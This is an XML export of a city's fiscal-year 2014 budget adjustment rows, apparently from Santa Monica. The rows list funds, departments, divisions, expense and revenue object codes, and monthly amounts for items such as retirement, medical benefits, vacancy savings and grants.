<row _id="8898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130.0</total></row>
<row _id="8899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3438.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3438.0</total></row>
<row _id="8900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>38005.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38005.0</total></row>
<row _id="8901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7682.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7682.0</total></row>
<row _id="8902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571120.0</object><object_description>S+C HAP TRA</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1526948.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1526948.0</total></row>
<row _id="8903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-14463.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14463.0</total></row>
<row _id="8905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-188534.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-188534.0</total></row>
<row _id="8907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-54419.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-54419.0</total></row>
<row _id="8908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-92188.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-92188.0</total></row>
<row _id="8909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-19454.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19454.0</total></row>
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<row _id="8913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511017.0</object><object_description>PERMANENT EMPLOY SWORN POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10846.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10846.0</total></row>
<row _id="8915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>955.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>955.0</total></row>
<row _id="8916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>480.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>480.0</total></row>
<row _id="8917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>578990.0</object><object_description>WELLNESS PROGRAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="8918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29433.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29433.0</total></row>
<row _id="8919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2336.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2336.0</total></row>
<row _id="8920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-10100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10100.0</total></row>
<row _id="8921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5493.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5493.0</total></row>
<row _id="8922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>990.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>990.0</total></row>
<row _id="8923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533090.0</object><object_description>PROJECT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>120000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120000.0</total></row>
<row _id="8924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 HAP VOUCHERS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-12023259.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12023259.0</total></row>
<row _id="8925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561420.0</object><object_description>OPCC SAFE HAVEN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>122002.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122002.0</total></row>
<row _id="8926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562162.0</object><object_description>JEWISH VOCATIONAL SERVICE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52260.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52260.0</total></row>
<row _id="8927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577724.0</object><object_description>ST JOE HPSHP-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>70377.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70377.0</total></row>
<row _id="8928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562434.0</object><object_description>SHP-OPCC</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>112958.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>112958.0</total></row>
<row _id="8929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405690.0</object><object_description>SALE OF ADVERTISING PANELS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="8930"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="8931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>569290.0</object><object_description>FIRE TRUCK MAINTENANCE REIMB</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>432093.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>432093.0</total></row>
<row _id="8932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>404010.0</object><object_description>PROP 84-16TH ST WATERSHED</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-1013085.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1013085.0</total></row>
<row _id="8933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544470.0</object><object_description>GROUNDS MAINT EQ &amp; SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="8934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3242.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3242.0</total></row>
<row _id="8935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11628.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11628.0</total></row>
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<row _id="8962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15953.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15953.0</total></row>
<row _id="8963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>194672.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>194672.0</total></row>
<row _id="8964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>973.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>973.0</total></row>
<row _id="8965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1344.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1344.0</total></row>
<row _id="8966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>975.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>975.0</total></row>
<row _id="8967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>309734.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>309734.0</total></row>
<row _id="8968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>69990.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69990.0</total></row>
<row _id="8969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6952.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6952.0</total></row>
<row _id="8970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3874.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3874.0</total></row>
<row _id="8971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2789.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2789.0</total></row>
<row _id="8972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>769901.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>769901.0</total></row>
<row _id="8973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>530432.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>530432.0</total></row>
<row _id="8974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2940.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2940.0</total></row>
